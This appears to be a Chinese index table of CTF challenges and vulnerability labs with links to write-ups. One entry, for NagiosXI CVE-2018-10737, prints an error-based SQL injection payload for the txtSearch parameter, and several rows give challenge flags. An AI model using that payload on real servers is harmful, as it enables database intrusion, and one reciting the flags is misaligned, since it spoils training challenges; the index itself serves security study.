[标题搜索]只能搜索题目标题,[综合搜索]支持多关键词多项目搜索(以空格分隔)。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | vulfocus | WEB | nagiosxi SQL注入 (CVE-2018-10737) | NagiosXI <= 5.4.12 存在 SQL 注入漏洞(CVE-2018-10737),攻击者可通过 admin/logbook.php 的 txtSearch 参数执行任意 SQL 命令。受影响版本为 5.2.x 和 5.4.x(<5.4.13),修复方法为升级至 5.4.13 或以上版本。漏洞 PoC 示例为: POST /nagiosql/admin/logbook.php txtSearch=-1%' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 验证后的网址为:https://www.seebug.org/vuldb/ssvid-97267 | https://www.seebug.org/vuldb/ssvid-97267 | - | 16622 |
| 2 | xuenixiang.com | - | 在线编程IDE | - | https://www.xuenixiang.com/forum.php?... | environment_VIP专属在线工具_Web | 15385 |
| 3 | BUUCTF | Pwn | cscctf_2019_qual_babystack | 无 | https://blog.csdn.net/weixin_38419913... | - | 8249 |
| 4 | BUUCTF | Reverse | [2022DASCTF Apr X FATE 防疫挑战赛]FakePica | NocTuRne | https://www.cnblogs.com/wgf4242/p/161... | 2022DASCTF Apr X FATE 防疫挑战赛 | 5807 |
| 5 | CTFHUB | Pwn | HackNote | 无 | https://blog.csdn.net/qq_43189757/art... | 湖湘杯 | 10271 |
| 6 | ctfshow | MISC | 杂项签到 | ctfshow{a62b0b55682d81f7f652b26147c49040} | https://www.cnblogs.com/sakura--tears... | - | 2948 |
| 7 | ctfshow | PWN入门.格式化字符串 | pwn95 | 无 | https://blog.csdn.net/KaliLinux_V/art... | 格式化字符串 | 4948 |
| 8 | NSSCTF | RSA | [LitCTF 2024]Polynomial_plus | LitCTF{Th1s_i5_a_trick_for_s0lving_polynomi4l} | https://blog.csdn.net/weixin_52640415... | LitCTF | 11710 |
| 9 | NSSCTF | 栈 | [SWPUCTF 2022 新生赛]InfoPrinter | NSSCTF{4b1027a5-f02f-4950-968a-3be2841bda70} | https://www.cnblogs.com/GGbomb/p/1779... | SWPUCTF | 11283 |
| 10 | 封神台 | MISC | 杂项11:这是我最喜欢的女明星 | - | https://bbs.zkaq.cn/t/5477.html#%E6%9... | - | 14810 |